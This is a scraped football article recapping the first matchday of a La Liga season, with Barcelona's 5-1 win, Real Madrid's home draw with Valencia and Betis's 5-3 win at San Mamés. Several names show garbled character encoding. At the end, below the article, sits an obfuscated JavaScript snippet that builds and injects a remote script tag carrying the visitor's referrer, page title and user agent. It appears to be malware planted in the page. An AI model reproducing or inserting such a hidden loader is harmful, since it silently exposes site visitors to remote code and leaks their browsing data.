Barcelona Start The Tito Vilanova Era In Style, Real Madrid Slip Up At Home, Thriller At San MamAi??s

Barcelona took an early advantage in the title race, which saw Real Madrid draw at home to Valencia, but the match of the week was played at San MamAi??s whereAi??Betis got a sensational 5-3 win over ‘Llorente-less’ Athletic Bilbao.

Week 1 of La Liga brought plenty of great matches, goals galore and a big upset in the form of Valencia’s draw at the Santiago Bernabeu. It seems a bit sad to suggest that one of the best teams in the country getting a draw against Real Madrid is a big upset, but given the dominance levels exhibited by the top 2 in recent years, every point they lose can be considered an upset, especially at home. More importantly, considering last year it took 100 points to win the league, every point loss has the potential to be compromising. Higuain’s early opener was thwarted by Jonas’ superb free kick and by an amazing performance from Valencia’s goalkeeper Diego Alves. Despite the draw, it was evident that Real Madrid are still as strong as they were last season and will mount a very serious challenge to defend their title.

Barcelona gained an early advantage in the title with a dominating 5-1 win over Real Sociedad, in a game that will be best remembered by David Villa’s returned to action, capped off with a goal. As for the rest of the match, it was as if nothing had ever changed; Tito Vilanova’s Barcelona has picked up where Pep Guardiola’s had left off, overwhelming opponent with their quick possession based style. Lionel Messi has also showed to be as sharp as ever, scoring a brace. Barcelona sent a clear message to their rivals that their era is still not over yet.

Not a good start of the season for JosAi?? Mourinho’s outfit

But it wasn’t all about the top 2, not by a long shot. The best match of the weekend took place at the San MamAi??s, where Betis got a sensational 5-3 win over ‘Llorente-less’ Athletic Bilbao. After a first half dominated by the Sevillian outfit, who quickly went 3-0 up, Marcelo Bielsa’s outfit had an incredible reaction in the second half, creating many chances and eventually equalizing the match with 15 minutes left to play. But in another unexpected twist of event, Betis took advantage of Athletic’s sloppiness in defense to secure a 5-3 win and their first three points of the season. In what was a supremely entertaining match, it was clear that Athletic will suffer if Llorente leaves the club as rumoured and also that they need defensive reinforcements urgently. Betis confirmed their reputation as an attacking, entertaining team and should have another good season, they could hardly have got off to a better start.

Malaga, Mallorca and Sevilla also got off to winning starts. Malaga grinded out a 1-0 away win over newly promoted Celta in what was the cagiest match of the week, with very few chances and little to separate both sides. A late Fabrice goal gave Malaga the win. With that goal, the Cameroonian striker became the youngest goalscorer in La Liga history at the tender age of 16 years and 98 days. Mallorca and Sevilla both got 2-1 home wins over Espanyol and Getafe respectively.

On Monday, the last three matches of the week were played, with Rayo Vallecano beating Granada at home, newly promoted Valladolid getting a 1-0 win at Zaragoza and Super Depor announcing their return to the Spanish first division with a 2-0 win over Osasuna.

What We Learned From Matchday 1 of La Liga

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d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Exit mobile version